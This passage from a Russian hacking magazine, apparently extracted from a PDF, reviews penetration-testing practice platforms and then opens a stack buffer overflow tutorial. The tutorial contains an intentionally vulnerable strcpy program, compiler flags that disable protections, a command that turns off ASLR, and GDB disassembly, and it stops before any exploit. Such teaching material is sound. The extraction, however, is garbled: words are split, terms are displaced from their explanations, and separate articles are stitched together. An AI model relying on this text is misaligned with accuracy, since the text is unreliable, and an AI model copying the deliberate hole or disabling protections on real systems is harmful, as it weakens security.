в  сети  на  сер верах  пло щад ки  (онлайн‐лабора тории),  так  и  заг ружа емые
обра зы для самос тоятель ного запус ка в вир туаль ной сре де.

Уяз вимые вир туаль ные машины

3.   — как пра вило, вир туаль ные леса Active
Directory, где от учас тни ков тре бует ся зах ватить кон трол лер 
в сети. В ходе про хож дения могут исполь зовать ся самые раз ные спо собы
для прод вижения по инфраструк туре: от кон курен тной раз ведки и фишин‐ 
га до экс плу ата ции зироде ев. Слож ность выпол нения  таких задач сопос‐ 
тавима  с  реаль ными  кей сами,  а  зачас тую  даже  пре вос ходит  их.  Дос туп
к лабора тори ям такого типа обыч но плат ный, а их услу ги могут быть мак‐ 
сималь но полез ны людям, готовя щим ся к про фес сиональ ным сер тифика‐ 
циям типа OSCP.

Вир туаль ные локаль ные сети

и закрепиться

Для под держа ния энту зиаз ма безопас ников, которые приш ли на такие ресур‐ 
сы,  вла дель цы  час то  пред лага ют  им  бонусы  за  про хож дение  каж дого  вида
заданий — они могут выражать ся в «плю сиках к кар ме», которая вид на в про‐ 
филе  игро ка  и  в  «Зале  сла вы».  Мес то  в  таком  топе  потом  может  стать
хорошим под спорь ем на собесе дова нии.

Пос мотрим поб лиже на наибо лее круп ные и извес тные пло щад ки,  где ты
смо жешь побало вать сво его внут ренне го хакера.

HACK THE BOX
  (или  HTB) —  мой  любимый  ресурс,  который  поз воля ет  отта‐ 

чивать искусс тво тес тирова ния на про ник новение. По сов мести тель ству это,
пожалуй, одна из самый мас штаб ных плат форм, где на текущий момент дос‐ 
тупно 127 уяз вимых машин, 65 CTF‐задач и нес коль ко видов хар дкор ных вир‐ 
туаль ных лесов AD. То есть, как ты уже понял, здесь есть все опи сан ные выше
области.

Hack  The  Box

Hack The Box

За нес коль ко прош лых лет Hack The Box стал мак сималь но популя рен сре ди
иссле дова телей  безопас ности  всех  мас тей:  он  отли чает ся  удоб ным
веб‐интерфей сом  для  управле ния  активны ми  инстан сами  вир туалок,
отзывчи вой  тех поддер жкой и,  что  важ нее  все го,  пос тоян но обновля ющим ся
спис ком уяз вимых хос тов.

Гра фик  выхода  новой  машины  «в  онлайн»  очень  прост:  каж дую  неделю
релизит ся новая тач ка и ста новит ся дос тупной для взло ма всем зарегис три‐ 
рован ным  на  ресур се  игро кам;  в  то  же  вре мя  одна  из  машин,  которая
«висела»  в  онлай не  до  это го  момен та,  ухо дит  в  пул  отоз ванных  машин.
Одновре мен но в онлай не находит ся 20 машин... но это толь ко на бес плат ном
сер вере. При офор мле нии VIP‐под писки (£10 в месяц или £100 в год) ты смо‐ 
жешь самос тоятель но вытяги вать любой «уста рев ший» хост из пула в онлайн
на выделен ном сер вере и про водить свои тес ты. Вмес те с этой супер спо соб‐ 
ностью тебе откро ется дос туп к офи циаль ным про хож дени ям в фор мате PDF,
которые сос тавля ют сами сот рудни ки ресур са.

Ре гис тра ция  на  Hack  The  Box  пред полага ет  решение  три виаль ного
веб‐тас ка для получе ния кода на приг лашение, поэто му я всег да условно счи‐ 
тал  этот  ресурс  полузак рытым.  Почему  условно?  Потому  что  таск  и  прав да
эле мен тарный,  и  в  свое  вре мя  я  даже  писал  однос троч ник  для  генера ции
оче ред ного инвай та. Раз бирать сам про цесс в рам ках этой статьи не будем,
пос коль ку невеж ливо рас кры вать все под робнос ти решения и обес ценивать
работу коман ды HTB. Тем не менее гай дов в сети пре дос таточ но.

hackthebox.eu/invite

Нес мотря  на  то,  что  воз можен  пря мой  дос туп  к    (где
тебя  даже  встре тят  вооду шев ляющим  «Congratulations!»),  попыт ка  соз дать
акка унт  без  пред варитель но  сге нери рован ного  инвайт‐кода  не  увен чает ся
успе хом.  Хотя,  как мне  казалось,  изна чаль но даже переход на 

 был недос тупен прос то так.

стра нице  регис тра ции

hackthebox.
eu/register

hackthebox.eu/register

По рог вхож дения на эту плат форму я бы оце нил как сред ний: нес мотря на то,
что  боль шую  часть  активных  инстан сов  сос тавля ют  вир туаль ные  машины
высокой  слож ности,  на  сай те  мож но  най ти  и  прос тые  машины,  рекомен‐ 
дуемые для про хож дения начина ющим свой путь спе циалис там. Гиб кая сис‐ 
тема филь тров поз волит тебе подоб рать машину на свой вкус.

Филь тра ция спис ка сущес тву ющих ВМ

INFO

«Хакер»  уже  пуб ликовал  нес коль ко  про хож дений
вир туалок с Hack The Box:
•Ук рощение Kerberos. Зах ватыва ем Active Direc‐
tory на вир туаль ной машине с Hack The Box

•Ве ликий  пакос тник.  Про бира емся  через  деб ри
IPv6 к root‐фла гу вир туал ки с Hack The Box

•По лет в стра тос феру. Лома ем Struts через Ac‐
tion‐при ложе ние и мас терим Forward Shell

•Неп равиль ный  CTF.  Одно разо вые  пароли,  буй‐ 
ство LDAP‐инъ екций и трю ки c архи вато ром 7z

Сто ит заметить, что Hack The Box поль зует ся услу гами DigitalOcean для раз‐ 
верты вания сво ей облачной инфраструк туры, а так как РКН   мно гие
IP‐адре са DigitalOcean, то дос туп к некото рым ресур сам HTB может быть зат‐ 
руднен  из  нашей  стра ны.  Одна ко  в  дан ном  слу чае  в  основном  речь  идет
о  веб‐тас ках  раз дела  CTF,  где  уяз вимые  сер веры  «смот рят»  нап рямую
в интернет, а не спря таны за VPN, как основная лабора тория с вир туаль ными
машина ми.

бло киру ет

Продолжение статьи →

email:snovvcrash@protonmail.ch
https://xakep.ru/author/goltsev/
https://xakep.ru/author/denismakrushin/
https://xakep.ru/2015/04/09/195-goltsev/
http://phrack.org/issues/7/3.html
https://www.virtualhackinglabs.com/
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https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/
https://xakep.ru/2016/06/14/ctf/#toc02.
https://www.hackthebox.eu/home
https://www.hackthebox.eu/register
https://xakep.ru/2019/06/27/htb-kerberos/
https://xakep.ru/2019/07/16/mischief/
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ROOT ME
 — еще одна уни каль ная пло щад ка для прак тики пен теста и решения

голово ломок в духе CTF. Если сно ва взгля нуть на наш спи сок раз новид ностей
ресур сов  в  начале  статьи,  то  мож но  ска зать,  что  эта  плат форма  вклю чает
в себя пер вую область и сво еоб разную ком бинацию двух пос леду ющих.

Root Me

Root Me

Раз дел с задача ми CTF дей стви тель но вну шитель ный: в него вхо дят 11 раз‐ 
делов с 344 тас ками.

CTF‐тас ки — Root Me

Осо бен ность мно гих из них зак люча ется в том, что тебе нуж но будет вза имо‐ 
дей ство вать с уда лен ным хос том, а не прос то иметь дело с локаль ными фай‐ 
лами тас ка. Удоб но, что для под клю чения мож но исполь зовать   пря‐ 
мо из бра узе ра.

WebSSH

Сес сия WebSSH из бра узе ра Firefox

Од нако глав ная фиш ка сай та — раз дел CTF all day: в этом режиме тебе дос‐ 
тупен  выбор  из  двад цати  «ком нат»,  каж дая  из  которых  активна  в  течение
четырех  часов.  При соеди нив шись  к  любой  из  них,  ты  получишь  крат кую
справ ку об объ екте ата ки и информа цию о рас положе нии фла гов. Некото рые
ком наты  —  это  пол ноцен ные  лабора тории  со  связ кой  из  нес коль ких  вир‐ 
туаль ных  машин  с  кон трол лером  AD  и  общей  леген дой.  Нуж но  силь но  пос‐ 
тарать ся, что бы их одо леть.

CTF all day — 20 активных ком нат

Что каса ется обще го уров ня слож ности, то, по моему мне нию, он нес коль ко
ниже, чем у Hack The Box. Нес мотря на это, боль шее раз нооб разие CTF‐тас‐ 
ков и воз можность пот рениро вать ся на более лай товых полиго нах с Active Di‐
rectory  ста вят  пло щад ку Root Me в  спи сок must‐have‐ресур сов для прак тики
пен теста.

VULNHUB
  —  ста рин ный  дамп  обра зов  уяз вимых  вир туаль ных  машин,  под‐ 

держи ваемый  энту зиас тами.  Это  пол ностью  бес плат ный  источник,  отку да
любой  жела ющий  может  заг рузить  пон равив шуюся  ему  вир туал ку 

 к поис ку фла гов.

VulnHub

и приступить

VulnHub

Од но из  самых  круп ных  пре иму ществ VulnHub — огромное  количес тво рай‐ 
тапов по вир туал кам, дос тупных в сети, и отсутс твие каких‐либо огра ниче ний
на их  пуб ликацию  (Hack  The Box  и Root Me нак ладыва ют  вре мен ные рам ки,
в  течение  которых дей ству ет  зап рет  на раз мещение про хож дений  в  сети —
в  про тив ном  слу чае  есть  риск  схва тить  бан,  если  пуб лику ешь ся  под  сво им
ник ней мом).

Боль шой  выбор  машин  и  рай тапов  дела ют  VulnHub  отличной  отправ ной
точ кой для людей, которые сов сем не зна ют, с чего начать свои экспе римен‐ 
ты в области пен теста.

Из минусов:
Час то  к  машинам  нет  внят ного  опи сания,  которое  поз волило  бы  понять,
что  они  собой  пред став ляют.  Так  как  все  раз нооб разие  сущес тву ющих
на VulnHub машин мож но гру бо раз делить на две катего рии (с нап равлен‐ 
ностью в жанр Task Based CTF и более приб лижен ные  к реаль ной жиз ни
вир туал ки), то каж дый раз, заг ружая новый образ, ты, в сущ ности, берешь
кота  в  меш ке  и  не  зна ешь,  с  задачей  какого  типа  тебе  пред сто ит 

•

столкнуться.
То таль ное отсутс твие машин на Windows. Ну оно и понят но — все же опен‐ 
сор сный ресурс.

•

В  осталь ном  VulnHub  —  это  прек расный  спо соб  убить  вечер  с  поль зой
и  «поиг рать»  с  инте рес ными  обра зами,  соб ранны ми  безопас никами
для безопас ников.

WWW

Пол ный  спи сок  дос тупных  на  VulnHub  вир туалок
мож но най ти по  .ссыл ке

РЕКОМЕНДАЦИИ ДЛЯ НАЧИНАЮЩИХ
В  тезисах  пос тара юсь  изло жить  основные  момен ты,  которые  обя затель но
при годят ся тем, кто пла ниру ет начать работу с каким‐либо из выше опи сан ных
ресур сов.

Для начала — про нас трой ку окру жения.
1. Средс тва  вир туали зации  —  твои  друзья.  Выбери  одно  из  решений
для  работы  с  обра зами  вир туаль ных  машин  (   или 
для Windows,    для  Linux)  и  при дер живай ся  его.  Уме ние  быс тро  раз‐ 
ворачи вать гос тевые ОС при годит ся не толь ко в сфе ре безопас ности.

VirtualBox VMware
KVM

2. Дис три бути вы,  ори енти рован ные  на  про веде ние  пен тестов —  это  кру то.
,  ,  ,  ,  —  неваж но,  что  ты

выберешь, глав ное, что они удоб ны для уста нов ки и прак тичны в исполь‐ 
зовании (на началь ных эта пах я бы оста новил ся на Kali или Parrot). Незави‐ 
симо  от  того,  что  ты  решил  уста новить  —  уста нав ливай  так же  стро го
в  качес тве  вир туаль ной  машины:  таким  обра зом  ты  умень шишь  рис ки
нежела тель ных воз дей ствий со сто роны дру гих, воз можно, менее этич ных
хакеров, если пла ниру ешь под клю чать ся к онлай новым лабора тори ям (то
есть выделен ным вир туаль ным сетям) по VPN.

Kali  Linux Parrot  OS BlackArch  Linux Commando  VM

3. Изу чи кон соль и сок рати исполь зование гра фичес кого интерфей са ОС —
это  полез ный  навык  прак тичес ки  для  любой  области  IT.  Работая 

 стро ке, ты зна читель но уве личишь свою про изво дитель ность,
научишь ся луч ше кон цен три ровать ся на текущей проб леме (а не на перек‐ 
лючении меж ду откры тыми окна ми) и не будешь бес помощен, ког да  гра‐ 
фичес кого интерфей са не будет под рукой в прин ципе. В этом же пун кте
нас тоятель но рекомен дую научить ся обра щению с каким‐либо 

  (я  пред почитаю  ,  хотя  уве рен,  что  мно гие
не  сой дут ся  со  мной  в  этом  выборе),  что бы  не  перек лючать ся  меж ду
вклад ками в окне эму лято ра тер минала.

в командной

тер миналь‐ 
ным  муль тип лексо ром tmux

Те перь  непос редс твен но  про  про цесс  иссле дова ния  уяз вимых  вир туаль ных
машин.
1. «Enumeration  is  the  Key»  —  самый  час тый  ответ  наряду  с  «Try  Harder!»
на кри ки о помощи на все воз можных форумах. Началь ный сбор информа‐ 
ции об объ екте ата ки — пожалуй, самый кро пот ливый этап всей кам пании,
а иног да и самый тру доем кий. Чем боль ше началь ных дан ных, тем боль ше
матери ала для ана лиза — и боль ше повер хность воз можных атак. Всег да
оставляй какую‐либо раз ведыва тель ную ути литу работать в фоне для про‐ 
вер ки оче ред ного век тора про ник новения.

2. Знай  свои  инс тру мен ты.  Уме ние  при менить  нуж ный  софт  в  нуж ной  ситу‐ 
ации — полови на успе ха опе рации. В сети сущес тву ет мно жес тво 
полез ных  инс тру мен тов  для  взло ма,  одна ко  эти  спис ки  ничего  не  сто ят,
если  никог да  не  про бовал  инс тру мент  «вжи вую».  Поэто му,  работая
с  чем‐то  новым,  не  пре неб регай  коман дой    и  опци ей 
для получе ния базово го пред став ления о воз можнос тях прог раммы.

спис ков

man ­­help

3. Не стес няй ся искать информа цию в сети,  «гуг лить — не стыд но»! Сфе ра
компь ютер ной безопас ности колос саль но велика, очень труд но объ ять ее
целиком,  да  и  не  всег да  это  нуж но,  если  мож но  что‐то  быс тро  най ти
на  прос торах  интерне та.  Это  не  то  же  самое,  что  быть  скрипт‐кид ди, —
до тех пор, пока можешь внят но объ яснить, как ты добил ся того или ино го
резуль тата (с тех ничес кими под робнос тями), вол новать ся не о чем.

4. Чи тай бло ги и рай тапы сво их кол лег — даже если ты уже одо лел какую‐то
машину. Взгляд на одну и ту же проб лему под раз ными угла ми спо собс тву‐ 
ет  рас ширению  рамок  мыш ления  и  накоп лению  раз носто рон него  опы та
решения  одно тип ных  задач.  Это  может  ока зать ся  весь ма  полез ным
в усло виях огра ничен ных ресур сов (сра бота ет не одно, так дру гое).

5. Не  ленись  вес ти  замет ки  —  как  непос редс твен но  в  про цес се  пен теста
для под держа ния орга низо ван ности работы (здесь может помочь 

 или  ),  так  и  пос ле  успешно го  завер шения  взло ма для  сис‐ 
темати зации  получен ных  зна ний.  Отличным  вари антом  может  стать
написа ние  рай тапа  к  побеж денной машине,  потому  что  в  про цес се  объ‐ 
ясне ния сво его про хож дения дру гим ты еще раз зак репля ешь усво енную
информа ция.

Cherry‐
Tree KeepNote

Happy hacking!

WWW

Бо нус:  леген дарный  хакер ский  форум  Antichat
недав но  запус тил  свою  .  Самому
пока не  уда лось испро бовать — но не  упо мянуть
грех.

CTF‐пло щад ку
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https://en.wikipedia.org/wiki/Web-based_SSH
https://www.vulnhub.com/
https://www.vulnhub.com/timeline/
https://www.virtualbox.org/wiki/Downloads
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ВЗЛОМ

Сколь ко  раз  и  в  каких  толь ко  кон тек стах  не  писали  об  уяз‐ 
вимос ти перепол нения буфера! Одна ко в этой статье я пос‐ 
тара юсь  пре дос тавить  уни вер саль ное прак тичес кое  «вступ‐ 
ление»  для  энту зиас тов,  начина ющих  пог ружение  в  низ‐ 
коуров невую  экс плу ата цию,  и  на  при мере  того  самого
перепол нения рас смот рю широкий спектр тем: от сущес тву‐ 
ющих  на  дан ный  момент  механиз мов  безопас ности  ком‐ 
пилято ра  GCC  до  точеч ных  осо бен ностей  раз работ ки
бинар ных экс пло итов для сры ва сте ка.

Мо гу пос порить: со школь ной скамьи тебе твер дили, что   — это такая
небезо пас ная фун кция,  исполь зование  которой  чре вато  попада нием  в  неб‐ 
лагоп рият ную ситу ацию — выход за гра ницы дос тупной памяти. Да и вооб ще
«луч ше  исполь зуй  Visual  Studio».  Почему  эта  фун кция  небезо пас на?  Что
может  про изой ти,  если  ее  исполь зовать?  Как  экс плу ати ровать  уяз вимос ти
семей ства Stack‐based Buffer Overflow? Отве ты на эти воп росы я и дам далее.

strcpy

Вот о чем кон крет но пой дет речь.
Об зор  средств  защиты,  исполь зуемых  ком пилято ром  GCC  и  опе раци‐ 
онны ми сис темами семей ства Linux в целом.

•

Ра бота с отладчи ком GDB и про качан ным рас ширени ем PEDA.•
Ана лиз ассем блер ного кода при раз ных опци ях ком пиляции.•
Соз дание и тес тирова ние шелл‐кодов.•
Раз работ ка  экс пло итов  для  уяз вимого  к  перепол нению буфера  исполня‐ 
емо го фай ла: переза пись адре са воз вра та, рас положе ние полез ной наг‐ 
рузки в сте ке, NOP‐сре зы.

•

Ис поль зование дам пов памяти ядра для экс плу ата ции уяз вимос ти за пре‐ 
дела ми сре ды отладчи ка.

•

Ана лиз нового про лога фун кции   и соз дание экс пло ита, при мени мого
для  слу чая  ком пиляции  прог раммы  без  фла га 

.

• main

­mpreferred­stack­

boundary=2

Нач нем, впе реди дол гое путешес твие.

OVERFLOW.C
Итак,  перед  тобой есть  исходник  на  язы ке C. Файл  называ ется 
и  реали зует  прос тые  фун кции:  копиро вание  получен ной  от  поль зовате ля
стро ки  в  локаль ный  буфер  и  вывод  содер жимого  пос ледне го  на  экран.  Что
с ним не так?

overflow.c

 • файл: overflow.c

 • ком пиляция: gcc ­g ­Wall ­Werror ­O0 ­m32 ­fno­stack­pro­

tector  ­z  execstack  ­no­pie  ­Wl,­z,norelro  ­mpreferred­

stack­boundary=2 ­o overflow overflow.c

 • за пуск: ./overflow <СТРОКА>

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 // 128‐байтный массив типа char
 char buf[128];
 // копирование первого аргумента в массив buf
 strcpy(buf, argv[1]);
 // вывод содержимого буфера на экран
 printf("Input: %s\n", buf);
 return 0;

}

Оче вид но, все беды кро ются в фун кции  , про тотип которой опре делен
в заголо воч ном фай ле  .

strcpy
string.h

char *strcpy (char *dst, const char *src);

strcpy
Фун кция    занима ется  тем,  что  копиру ет  содер жимое  мас сива  сим‐ 
волов    (далее  для  крат кости  я  буду  писать  «стро ка»)  в  пред варитель но
под готов ленный для это го буфер  . В чем же, собс твен но, дело? В том, что
ниг де  ни  сло ва  не  ска зано о  дли не  исходной  стро ки  и  о  том,  как  она  соот‐ 
носит ся с раз мером выделен ного под нее буфера.

strcpy
src

dst

Ло каль ные  ста тичес кие  перемен ные  фун кций  в  боль шинс тве  слу чаев
помеща ются  про цес сором  в    (или  прос то  в  «стек»),  поэто му
логич но  пред положить,  что  имен но  стек  исполь зует ся  потен циаль ным
наруши телем  в  качес тве  пло щад ки  для  сво их  зло деяний:  если  «вылез ти»
за  легитим ные  гра ницы  памяти,  мож но  нат ворить  поч ти  что  угод но.  Ведь
«получить  пол ный  кон троль  над  сис темой  мож но,  толь ко  вый дя  за  ее  пре‐ 
делы…».

стек  вызовов

Ком пиляция
Преж де чем копать ся в сте ке этой прог раммы и дизас сем бли ровать ее, раз‐ 
берем ся с опци ями, которые исполь зуют ся при ком пиляции. Так будет лег че
ори енти ровать ся.

Я буду работать в Ubuntu    (i686) и исполь зовать  ком пилятор GCC
вер сии 5.4.0. Вывод информа ции о вер сии ядра сле дующий.

16.04.6

 

 

 uname ‐a $
Linux pwn‐ubuntu 4.15.0‐58‐generic #64~16.04.1‐Ubuntu SMP Wed Aug 7 14:
09:34 UTC 2019 i686 i686 i686 GNU/Linux

Для демонс тра цион ных целей этой статьи я, конеч но, намерен но пол ностью
обе зору жу  ком пилятор,  отняв  у  него  все  фиш ки  для  защиты  целос тнос ти
потока выпол нения прог рамм.

 

 

 gcc ‐g ‐Wall ‐Werror ‐O0 ‐m32 ‐fno‐stack‐protector ‐z execstack ‐no‐
pie ‐Wl,‐z,norelro ‐mpreferred‐stack‐boundary=2 ‐o overflow overflow.c
$

Фла ги, которые я исполь зовал:
  —  говорит  ком пилято ру  вклю чать  в  резуль тат  вспо мога тель ную

информа цию для облегче ния про цес са отладки.
• ‐g

  —  выводит  пре дуп режде ния  ком пилято ра  о  воз можной
некор рек тнос ти  исполь зуемых  в  прог рамме  струк тур  и,  если  таковые
находят ся, прев раща ет их в ошиб ки, что дела ет ком пиляцию невоз можной
(в нашем при мере, к сло ву, все хорошо, поэто му ком пилятор мол чит).

• ‐Wall  ‐Werror

 — отклю чает опти миза цию кода для чис тоты экспе римен та.• ‐O0
 — в явном виде под черки вает, что мы хотим 32‐бит ный исполня емый

файл (в дан ном слу чае опция не необ ходима, так как мы сидим на 32‐бит‐ 
ном  дис три бути ве  и  бинар ник  будет  таковым  по  умол чанию,  одна ко
для наг ляднос ти полез но).

• ‐m32

 —  отклю чает  защиту  ком пилято ра  от  атак  типа  Stack
Smashing. Это один из вари антов раз вития событий при экс плу ата ции уяз‐ 
вимос ти перепол нения буфера. Под этим видом защиты обыч но понима ют
неболь шое  рас ширение  прос транс тва  сте ка  для  помеще ния  непос редс‐ 
твен но перед адре сом воз вра та слу чай но сге нери рован ного целого чис‐ 
ла, неиз вес тно го наруши телю (это называ ется guard variable или canary —
по ана логии с  исполь зовани ем    для  выяв ления руд нично го  газа
в шах тах).  Если  зна чение изме нилось  перед  воз вра том из фун кции,  зна‐ 
чит,  велика  веро ятность,  что  про изош ло  вме шатель ство  извне  и  адрес
воз вра та  пов режден  или  под менен.  Сле дова тель но,  необ ходимо  оста‐ 
новить выпол нение прог раммы.

• ‐fno‐stack‐protector

ка наре ек

 — опция, переда ваемая ком понов щику. Клю чевое сло во 
  озна чает,  что  инс трук ции,  рас положен ные  в  сте ке,  могут  быть

выпол нены. Такое поведе ние явля лось впол не допус тимым для некото рых
архи тек тур и исполь зовалось в целях опти миза ции. Одна ко нам эта фиш ка
понадо бит ся,  что бы  выпол нить  злов редный  шелл‐код,  раз мещен ный
в прос транс тве сте ка.

• ‐z execstack ex­

ecstack

 — опция ком понов щика, ука зыва ющая на то, что мы не хотим 
 исполня емый файл (PIE, Position Independent Exe‐

cution), исполь зующий   (ASLR, Ad‐
dress Space Layout Randomization), которую в рам ках этой статьи мы так же
отклю чим далее.

• ‐no‐pie по‐ 
зици онно‐незави симый

ран домиза цию адресно го прос транс тва

 — и сно ва  ука зание ком понов щику: на это раз не помечать
  (GOT,  Global  Offset  Table)  как  Read‐Only

для  пре дот вра щения  ее  переза писи  в  про цес се    (RELRO,
Relocation  Read‐Only)  зна чений  адре сам  заг рузки  раз деля емых  биб‐ 
лиотек.

• ‐Wl,‐z,norelro
гло баль ную  таб лицу  сме щений

прис ваива ния

  —  ока зыва ет  вли яние  на  раз мер 
  гра ниц  сте ково го  фрей ма.  Вырав нивание  поз воля ет  уве личить

ско рость обра щения про цес сора к содер жимому памяти, «добивая» раз‐ 
мер сте ка до зна чения, крат ного некото рому чис лу. Чис ло же это есть  ,
где    кон тро лиру ется  опци ей  .
По дефол ту в сов ремен ных сис темах   рав но 4, то есть GCC пос тро ит сте‐ 
ковые  фрей мы  так,  что бы  ESP  для  всех  фун кций  прог раммы  ука зывал
на адре са, крат ные 16 ( ). Для начала мы будем исполь зовать зна чение
,  поэто му  GCC  будет  вырав нивать  ука затель  сте ка  на  четырех бай тную

гра ницу.  Для  нас  вклю чение  этой  опции  озна чает  нам ного  более
читабель ный лис тинг ассем бле ра, пос коль ку с при ходом 16‐бай тных гра‐ 
ниц появил ся и новый про лог для фун кции  , в котором черт ногу сло‐ 
мит с неп ривыч ки. Нес мотря на это, в кон це статьи мы пос мотрим, что кон‐ 
крет но  меня ется  при  исполь зовании  этой  опции,  и  про ведем  экс плу ата‐ 
цию без ее учас тия.

• ‐mpreferred‐stack‐boundary=2 вы рав‐ 
нивания

2^n

n ­mpreferred­stack­boundary=n

n

2^4

2

main

 — имя выход ного фай ла.• ‐o overflow
 — наконец, то, что мы ком пилиру ем.• overflow.c

От лично,  с  аргу мен тами  разоб рались.  По  прав де  говоря,  такой  обширный
спи сок  не  обя зате лен  для  демонс тра ции  перепол нения.  Необ ходимый
минимум —  это    и  .  Одна ко  я  решил
перечис лить  как  мож но  боль ше  механиз мов  обес печения  безопас ности
исполня емых  фай лов,  которые  исполь зуют ся  GCC.  В  сле дующих  стать ях  я
под робнее раз беру упо мяну тые кон цепции защиты — и пос мотрим, как мож‐ 
но их обой ти.

‐fno‐stack‐protector ‐z  execstack

Пос леднее,  что  нуж но  сде лать  в  качес тве  под готов ки,  —  это  отклю чить
ASLR.  Сде лать  это  мож но  с  пра вами  супер поль зовате ля,  вне ся  изме нения
в один из фай лов   нас трой ки ядра.procfs

 

 
 echo 0 > /proc/sys/kernel/randomize_va_space#

Стек
Вспом ним  кар тинку,  которую  рисова ли  каж дому  юно му  девело перу,  где
демонс три рует ся  рас положе ние  дан ных  в  сте ке.  Для  кон кре тики  возь мем
наш заведо мо уяз вимый исходник.

Раз мещение дан ных в сте ке для фун кции main overflow.c

Два  важ ных  регис тра  про цес сора,  которые  учас тву ют  в фор мирова нии  сте‐ 
ково го кад ра, — это   и  .ESP EBP

  —  регистр  обще го  наз начения,  ука зыва ющий  на  вер шину  сте ка.
Как  извес тно,  стек  рас тет  вниз:  при  добав лении  в  него  зна чения  адрес
ESP умень шает ся, а при извле чении (сня тии) из него зна чения адрес ESP,
соот ветс твен но, уве личи вает ся.

• ESP

 — регистр обще го наз начения, ука зыва ющий на базу сте ково го кад‐ 
ра и исполь зующий ся как сво еоб разное начало сис темы отсче та, свя зан‐ 
ной с  текущим кад ром. Зна чение EBP меня ется,  ког да фун кция начина ет
или  завер шает  свое  выпол нение,  и  в  отли чие  от  ESP,  за  изме нение
которо го ответс тве нен про цес сор, опе рации с EBP выпол няет сама прог‐ 
рамма. К любому аргу мен ту в сте ковом кад ре, будь то локаль ная перемен‐ 
ная или аргу мент фун кции, мож но лег ко получить дос туп, исполь зуя адре‐ 
сацию типа  .

• EBP

база (EBP) + смещение

Так же  нель зя  оста вить  без  вни мания  слу жеб ный  регистр  ,  который  ука‐ 
зыва ет  на  текущую  инс трук цию,  исполня емую  про цес сором.  Адрес  воз вра‐ 
та — это, по сути, сох ранен ное зна чение регис тра EIP, которое в даль нейшем
будет исполь зовано при воз вра те из фун кции инс трук цией   по ее завер‐ 
шении.

EIP

ret

Но обо всем по поряд ку.

Ас сем блер
Сей час  самое  вре мя  рас смот реть  ассем блер ный  код,  генери руемый  ком‐ 
пилято ром. Для это го, ском пилиро вав   коман дой выше, обра тим‐ 
ся к отладчи ку GDB.

overflow.c

Что бы получить лис тинг ассем бле ра, мож но вос поль зовать ся сле дующим
однос троч ником.

 

 
 gdb ‐batch ‐ex 'file ./overflow' ‐ex 'disas main'$

Оп ция    говорит,  что  нуж но  выпол нить  коман ды  без  ини циали зации
инте рак тивной  сес сии  отладчи ка,  которые,  в  свою  оче редь,  переда ются
как  зна чения  аргу мен тов  :  открыть  файл  и  дизас сем бли ровать  .
В качес тве резуль тата я получаю такой ассем блер с син такси сом Intel.

‐batch

‐ex main

Dump of assembler code for function main:
  0x0804841b <+0>:     push   ebp
  0x0804841c <+1>:     mov    ebp,esp
  0x0804841e <+3>:     add    esp,0xffffff80
  0x08048421 <+6>:     mov    eax,DWORD PTR [ebp+0xc]
  0x08048424 <+9>:     add    eax,0x4
  0x08048427 <+12>:    mov    eax,DWORD PTR [eax]
  0x08048429 <+14>:    push   eax
  0x0804842a <+15>:    lea    eax,[ebp‐0x80]
  0x0804842d <+18>:    push   eax
  0x0804842e <+19>:    call   0x80482f0 <strcpy@plt>
  0x08048433 <+24>:    add    esp,0x8
  0x08048436 <+27>:    lea    eax,[ebp‐0x80]
  0x08048439 <+30>:    push   eax
  0x0804843a <+31>:    push   0x80484d0
  0x0804843f <+36>:    call   0x80482e0 <printf@plt>
  0x08048444 <+41>:    add    esp,0x8
  0x08048447 <+44>:    mov    eax,0x0
  0x0804844c <+49>:    leave
  0x0804844d <+50>:    ret
End of assembler dump.

По доб ный  резуль тат  мож но  так же  получить  с  помощью  пар сера  объ ектных
фай лов  .objdump

 

 
 objdump ‐M intel ‐d ./overflow | grep 'main' ‐A19$

Раз берем под робнее, что здесь про исхо дит.

0x0804841b <+0>:  push ebp
0x0804841c <+1>:  mov  ebp,esp
0x0804841e <+3>:  add  esp,0xffffff80  ; эквивалентно "sub esp,0x80"

Пер вые  три  стро ки —  клас сичес кий  про лог,  в  котором  соз дает ся  сте ковый
фрейм:  зна чение  EBP  вызыва ющей фун кции  сох раня ется  в  сте ке  и  переза‐ 
писы вает ся  его  текущей  вер шиной.  Таким  обра зом  фор миру ется  сво еоб‐ 
разная  «зона  ком форта» — мы можем  обра щать ся  к  локаль ным  сущ ностям
в уни вер саль ном сти ле незави симо от того, что это за фун кция. Так же здесь
выделя ется  мес то  под  локаль ные  перемен ные:  при бавить  к  ESP  зна ковое
зна чение   — все рав но, что вычесть из него 128 (как раз столь ко,
сколь ко нам тре бует ся для 128‐бай тно го буфера  ).

0xffffff80
buf

0x08048421 <+6>:  mov  eax,DWORD PTR [ebp+0xc]  ; eax = argv
0x08048424 <+9>:  add  eax,0x4                  ; eax = &argv[1]
0x08048427 <+12>: mov  eax,DWORD PTR [eax]      ; eax = argv[1]
0x08048429 <+14>: push eax                      ; подготовить 
аргумент "src" для функции strcpy

За тем сле дуют при готов ления для вызова фун кции  . Сна чала обра бот‐ 
ка «источни ка» — аргу мент   из про тоти па  : в регистр EAX помеща‐ 
ется  стро ка,  передан ная  поль зовате лем  и  сох ранен ная  в    (нулевая
ячей ка отво дит ся под имя исполня емо го фай ла), пос ле чего зна чение самого
регис тра  кла дет ся  в  стек.  Ука затель  на  мас сив    находит ся  по  сме‐ 
щению 12 (или  ) пос ле адре са воз вра та и зна чения парамет ра  .

strcpy
src strcpy

argv[1]

argv
0xc argc

0x0804842a <+15>: lea  eax,[ebp‐0x80]  ; eax = buf
0x0804842d <+18>: push eax            ; подготовить аргумент "dst" 
для функции strcpy

Сле дом дела ется то же самое, но теперь для «наз начения» — аргу мент 
из про тоти па  : в регистр EAX заг ружа ется эффектив ный адрес ука зате‐ 
ля  на начало мас сива  ,  а  инс трук ция    (load  effective  address)  исполь‐ 
зует ся  для  того,  что бы  «на  лету»  вычис лить  сме щение  и  помес тить  его
в регистр.

dst
strcpy

buf lea

0x0804842e <+19>: call 0x80482f0 <strcpy@plt>  ; strcpy(src, dst) 
или strcpy(buf, argv[1])
0x08048433 <+24>: add  esp,0x8                 ; очистить стек от 
двух крайних значений по 4 байта каждое

Те перь  все  готово: мож но  выз вать фун кцию    и  очис тить  стек  от  двух
не нуж ных более зна чений —   и  .

strcpy
src dst

0x08048436 <+27>: lea  eax,[ebp‐0x80]          ; eax = buf
0x08048439 <+30>: push eax                     ; подготовить 
аргумент "buf" для функции printf
0x0804843a <+31>: push 0x80484d0               ; подготовить строку 
формата "Input: %s\n"
